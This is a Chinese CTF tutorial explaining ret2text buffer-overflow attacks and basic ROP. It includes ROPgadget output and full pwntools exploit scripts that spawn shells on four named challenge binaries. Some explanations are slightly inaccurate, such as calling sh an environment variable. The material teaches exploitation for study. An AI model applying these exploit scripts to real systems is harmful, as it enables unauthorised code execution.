ret2text


ret2text,即通过控制程序执行流执行程序本身已有的代码(.text段),是一种较为广义的描述。在这种攻击方法中,攻击者可以控制程序执行若干不相邻的代码段(即gadgets),这就是我们常说的ROP(Return-Oriented Programming)。

32位程序和64位程序在 pwn 中的差别主要体现在调用约定的不同。

调用约定定义了函数调用时参数的传递方式、返回值的传递方式以及调用者和被调用者之间的栈管理。

函数使用什么样的调用约定则由操作系统和编译器决定。

x86

原理

Linux 系统32位程序 gcc 编译器使用 cdecl 调用约定。

cdecl

  • 参数传递:
    • 参数从右到左压入栈。
  • 返回值
    • 返回值通常存放在EAX寄存器中。
  • 栈清理
    • 调用者负责清理栈。

32位程序利用堆栈传参,每调用一个函数都会创建一个函数的栈帧用于存放参数和局部变量。

下面我们通过一个例子进行讲解

下面的是伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void bin(){
system("/bin/sh");
}

int fun(int a){
char buf[36]={0};
int num;
gets(buf);
num=a+buf[0];
return num;
}

int main(){
fun(1);
printf("hello world");
return 0;
}

在下图中黄色的是缓冲区用于存储局部变量和数组。

蓝色的是创建栈帧前的ebp,红色是函数返回地址,绿色是参数。

在fun函数中我们定义了一个36字节的数组和一个四字节的变量。

在下图中我们可以很清楚看到这一点。

缓冲区溢出就是向局部变量写入数据的时候没有限制写入长度产生溢出覆盖ebp和返回地址。

比如通过一个gets函数向buf数组写入48字节就可以覆盖ebp和返回地址。

原返回地址是返回到printf,但是我们可以将返回地址覆盖为指定地址。比如代码段中存在的system函数地址。

这样当fun执行完返回的时候就会返回到system函数执行。

由于32位程序直接使用堆栈传参,所以可以直接利用堆栈构造payload。

32位程序中内存以四字节对齐,所以ebp和返回地址都是4字节,所以溢出8字节就可以覆盖返回地址达到ret2text的目的。

前提是溢出的长度足够构造payload。

1
payload='a'*(36+4+4)+p32(system地址)

这种情况是代码段直接存在后门函数(system)的情况,我们还会碰到代码段有system函数但是没有/bin/sh字符串的情况。

这就要我们利用堆栈传参的原理来构造 payload 了。

如果这些你听不懂,最好去看一下滴水的汇编课程。滴水逆向

x64

原理

Linux 系统64位程序 gcc 使用fastcall调用约定。

fastcall

  • 参数传递:
    • 前六个整数或指针参数通过寄存器RDI、RSI、RDX、RCX、R8、R9传递。
    • 前八个浮点参数通过XMM0到XMM7传递。
    • 其他参数通过栈传递,从右到左的顺序。
  • 栈对齐: 调用时栈指针(RSP)必须是16字节对齐的。
  • 返回值
    • 值在RAX寄存器中返回。
    • 浮点返回值在XMM0寄存器中返回。
  • 调用者清理栈
    • 栈上参数由调用者负责清理。

因为 fastcall 使用寄存器优先传参,所以构造 payload 必须通过 gadget 来构造。

这里我们先介绍一下什么是gadget。

gadget就是程序中一系列可以执行有用操作的指令序列(即gadgets),并将这些指令序列的地址链起来形成一个“ROP链”。每个gadgets通常以一个返回指令(ret)结束,这样攻击者可以控制程序的执行流,将控制权从一个gadget转移到下一个gadget

我们一般通过 ROPgadget 工具进行搜索程序中的gadget

ROPgadget工具使用请阅读这篇文章:
https://blog.csdn.net/weixin_45556441/article/details/114631043

如下图,每一行汇编代码都是示例程序中的gadget

每一行gadget用于实现特定的功能,后面通过一个ret指令返回。

我们可以通过ret指令将每个gadget串成一个ROP链。

在 ret2text 中对我们最重要的gadget就是影响传参寄存器的和ret的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  ROPgadget --binary ./gift_pwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040066c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040066e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400670 : pop r14 ; pop r15 ; ret
0x0000000000400672 : pop r15 ; ret
0x000000000040066b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040066f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400520 : pop rbp ; ret
0x0000000000400673 : pop rdi ; ret
0x0000000000400671 : pop rsi ; pop r15 ; ret
0x000000000040066d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400451 : ret

下面我们通过一个例子进行讲解

很明显可以看到gets没有限制输入长度,存在栈溢出。

并且程序中存在/bin/sh字符串和system函数,我们可以通过构造 payload 将/bin/sh的字符串poprdi寄存器再执行system函数来获取shell。

而这就需要pop rdigadget

字符串常量在elf文件中存放在只读数据段

1
2
3
4
5
6
7
8
9
void fun(){
system("pwd");
}

int main(){
int buf[12]={0};
gets(buf);
printf("/bin/sh");
}

所以我们需要根据ROPgadget搜索到程序中pop rdigadget

然后通过system函数地址和/bin/sh字符串地址构造 payload。

payload

1
paylaod='a'*(12+8)+p64(pop_rdi)+p64(/bin/sh地址)+p64(ret地址)+p64(system地址)

为了栈平衡我们加上一个ret指令地址。

接下来我们介绍一下栈平衡。

栈平衡

栈平衡:栈平衡是指在 pwn 漏洞利用中,为了保证 payload 的字节数是16的倍数,需要对栈进行平衡;而在32位 pwn 漏洞利用中,没有这个机制,仅在64位中存在。
glibc2.27 以后引入 XMM 寄存器,用于记录程序状态。主要出现在 Ubuntu 18:04 及以后的版本,需要考虑栈平衡(栈对齐)

需要栈平衡的主要原因在于:

  • 在调用 system() 函数时,会进入do_system执行一个movaps指令对XMM寄存器进行操作,movaps 指令要求 RSP 按16字节对齐,即:RSP中地址的最低四位必须为0,直观地说,就是该地址必须以数字 0 结尾。

如何解决堆栈平衡问题?

  • 可以通过在进入 system() 函数之前增加一个 ret 指令来解决(常用),或者也可以在 system() 函数中不执行第一条 push rbp 操作来解决

为什么加的是ret指令?

  • 由于在 system() 函数之前加入了一个新地址,栈顶被迫下移 8 个字节,使之对齐 16 字节,满足 movaps 指令对 XMM 寄存器进行操作的条件;同时,由于插入的地址指向了 ret 指令,程序仍然可以顺利地进入 system("/bin/sh") 中,不会改变程序执行流程。

接下来讲一下我在做题中碰到的几种ret2text情况和利用技巧吧。

ret2text的几种情况和技巧

调用其它shell函数

例题:[SWPUCTF 2022 新生赛]有手就行的栈溢出

查保护

发现没有栈溢出保护和PIE保护

1
2
3
4
5
6
➜ checksec ./pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

分析

发现疑似关键函数overflow,进入查看。

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts("Do you know how stack overflows驴");
overflow();
return 0;
}

查看发现危险函数gets函数,向缓冲区写入内容。

gets函数写入内容没有限制,所以存在栈溢出,而且溢出长度无限制。

接下来寻找system函数和/bin/sh字符串。

1
2
3
4
5
6
7
__int64 overflow()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF

gets(v1);
return 0LL;
}

在代码段的gift函数中发现了关键字符串

1
2
3
4
5
6
__int64 gift()
{
puts("Are you kidding?");
puts("system('/bin/sh')");
return 0LL;
}

其中存在sh类字符串,接下来寻找system函数。

函数窗口没有发现system函数,但是在fun函数中发现了execve函数。

注:system函数底层是调用execve实现的

execve的第一个参数是执行程序的路径,第二个参数是程序的参数数组,第三个参数是新程序的环境变量数组。

而下面我们要执行/bin/sh程序,函数中已经设置好了,我们不需要传什么参数以及环境变量,所以其它参数置0即可。

所以我们可以通过执行下面这个函数获取shell。

1
2
3
4
5
6
7
8
int fun()
{
char *argv[2]; // [rsp+0h] [rbp-10h] BYREF

argv[0] = "/bin/sh";
argv[1] = 0LL;
return execve("/bin/sh", argv, 0LL);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

off=40

#通过程序符号表获取fun函数地址
fun=elf.sym.fun
payload=b'a'*off+p64(fun)

r()
sl(payload)

ia()

数据段的字符串中存在sh字符

例题:[FSCTF 2023]rdi

即程序不存在/bin/sh字符串,但是sh字符串也可以获取 shell。

因为Linux中,/bin/sh是二进制程序,而sh是环境变量,相当于执行/bin/sh

查保护

checksec 查保护,发现为 64 位程序,没有栈溢出和地址随机化保护。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

分析

发现关键函数read,向栈中输入了0xa0即160个字节的数据,判断存在栈溢出。

缓冲区长度为128,即溢出长度为0xa0减去128则为32。

溢出32字节。

接下来寻找system函数和关键字符串。

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [rsp+10h] [rbp-80h] BYREF

init(argc, argv, envp);
info();
read(0, buf, 0xA0uLL);
return 0;
}

进入info函数查看

在字符串中发现关键字符串sh,可以通过sh执行system函数获取shell。

我们可以通过字符串基址加上sh字符串在字符串中的偏移来作为sh字符串的地址。

1
2
3
4
5
int info()
{
puts("this time there won't be sh;");
return puts("ready for your answer:");
}

更方便的是通过ROPgadget我们可以直接获取sh字符串的地址

1
2
3
4
➜  ROPgadget --binary ./rdi --string "sh"
Strings information
============================================================
0x000000000040080d : sh

所以接下来只需要寻找system函数和用于传参的gadget

函数窗口发现sytem函数,system函数在plt表。

这里只需要知道调用plt表就是调用函数

通过ROPgadget获取gadget

找到我们需要的pop_rdiret了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  ROPgadget --binary ./rdi --only "pop|ret"
Gadgets information
============================================================
0x00000000004007cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007d0 : pop r14 ; pop r15 ; ret
0x00000000004007d2 : pop r15 ; ret
0x00000000004007cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007cf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400608 : pop rbp ; ret
0x00000000004007d3 : pop rdi ; ret
0x00000000004007d1 : pop rsi ; pop r15 ; ret
0x00000000004007cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400546 : ret

Unique gadgets found: 11

接下来根据利用思路构造exp。

我们要覆盖掉rbp所需要的数据填充长度为136即缓冲区长度加8字节。

于是接下来我们还能溢出24字节。

但是传参、ret平栈以及调用函数共需要32字节。

所以就无法这样利用,我们可以通过执行call system指令即不执行push rbp指令来进行平栈。

这样就可以满足溢出长度要求。

获取call system指令地址

1
.text:00000000004006FB                 call    _system

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf

sys=0x0000000004006FB
sh=0x000000000040080d
rdi=0x00000000004007d3
ret=0x0000000000400546

payload=b'a'*136+p64(rdi)+p64(sh)+p64(sys)
r()
sl(payload)

ia()

执行拿到shell

1
2
3
4
[DEBUG] Received 0x10 bytes:
b'exp_cli.py rdi\n'
exp_cli.py rdi
$

程序中没有sh字符

利用可写函数向可写段写入/bin/sh

例题

[HNCTF 2022 Week1]ezr0p32

查保护

checksec查保护,发现为32位程序,没有栈溢出和地址随机化保护。

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

分析

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
init_func();
dofunc();
return 0;
}

进入dofunc函数查看

1
2
3
4
5
6
7
8
9
10
11
int dofunc()
{
char buf[28]; // [esp+Ch] [ebp-1Ch] BYREF

system("echo welcome to xzctf,have a fan time\n");
puts("please tell me your name");
read(0, &::buf, 0x100u);
puts("now it's your play time~");
read(0, buf, 0x30u);
return 0;
}

发现调用system函数执行echo命令输入一串字符。

puts输出字符,并调用read函数读入内容到buf

这里的bufbss段变量。

1
2
3
4
5
6
7
8
9
10
11
12
.bss:0804A080                 public buf
.bss:0804A080 buf db ? ; ; DATA XREF: dofunc+2E↑o
.bss:0804A081 db ? ;
.bss:0804A082 db ? ;
.bss:0804A083 db ? ;
.bss:0804A084 db ? ;
.bss:0804A085 db ? ;
.bss:0804A086 db ? ;
.bss:0804A087 db ? ;
.bss:0804A088 db ? ;
.bss:0804A089 db ? ;
.bss:0804A08A db ? ;

接下来又用puts函数输出一串字符。

并且又调用read函数读入内容到buf,这里的buf是局部变量。

read函数限制读入0x30个字符,而变量长度为28。判断存在栈溢出。

并且前面看到了system函数,则plt表一定存在system函数。

接下来寻找sh类字符串,即/bin/shsh

通过ROPgadget可以搜索程序字符串。

没发现有sh类字符串。

1
2
3
➜  ROPgadget --binary ./ezr0p --string "sh"
Strings information
============================================================

但是上面的第一个read函数读入内容到bss段,则我们可以将/bin/sh字符串读入到bss段。

然后通过第二个read函数进行栈溢出调用system函数。

根据思路构造exp。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

r()

sl(b"/bin/sh")

#sh字符串的地址为bss段的地址
sh=0x0804A080

payload=b'a'*(28+4)+p32(0x80483d0)+p32(0)+p32(sh)

r()
sl(payload)

ia()

执行exp,拿到shell

1
2
3
4
5
6
7
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x57 bytes:
b'exp.py\t ezr0p ezr0p.id1 ezr0p.nam\n'
b'exp_cli.py ezr0p.id0 ezr0p.id2 ezr0p.til\n'
exp.py ezr0p ezr0p.id1 ezr0p.nam
exp_cli.py ezr0p.id0 ezr0p.id2 ezr0p.til

机器码获取shell

system($0)也可以获取shell,$0字节码为\x24\x30

在没有sh字符串的情况下,我们可以将$0作为sh字符串使用。

例题

[GFCTF 2021]where_is_shell

查保护

常规流程checksc查保护,发现程序为64位,并且没有栈溢出和地址随机化保护。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

分析

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

system("echo 'zltt lost his shell, can you find it?'");
read(0, buf, 0x38uLL);
return 0;
}

输出一串英文字符,中文翻译为:echo ‘zltt 失去了他的shell,你能找到吗?

main函数中定义了一个char型数组buff,长度为16;

read函数从标准输入中读取0x38个字节的数据输入到 buf 数组。

计算溢出40个字节。

接下来寻找system函数

函数窗口中发现system函数,在plt表中。

也可以通过字符串窗口查找

拿到system函数的地址:0x400430

接下来需要寻找/bin/sh字符串

ida字符串表,ROPgadget搜索。。。。。。都找不到

之后查大佬的wp,发现了这个思路。

$0也可以作为/bin/sh字符串使用获取一个shell。

$0的字节码为/x24/x30

我们可以直接通过 objdump 查找

1
2
➜ objdump -d -M intel ./shell | grep 24
400540: e8 24 30 00 00 call 0x403569 <__FRAME_END__+0x2dcd>

向右偏移1字节,地址为:0x400541

通过栈溢出返回到plt表system函数,并且通过gadget将字节码地址弹入rdi寄存器。执行函数获取shell

通过 ROPgadget 搜索 gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  ROPgadget --binary ./shell --only "pop|ret"
Gadgets information
============================================================
0x00000000004005dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005e0 : pop r14 ; pop r15 ; ret
0x00000000004005e2 : pop r15 ; ret
0x00000000004005db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004004b8 : pop rbp ; ret
0x00000000004005e3 : pop rdi ; ret
0x00000000004005e1 : pop rsi ; pop r15 ; ret
0x00000000004005dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400416 : ret

拿到pop_rdiret

接下来根据以上信息构造exp。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

sh=0x400541
sys=elf.plt.system
off=0x18
rdi=0x00000000004005e3
ret=0x0000000000400416
payload=off*b'a'+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
sa("it?\n",payload)

ia()

后言

如果你要问,程序中没有system函数怎么办?

这已经不属于 ret2text 的范畴了。

参考链接:PWN中64位程序的堆栈平衡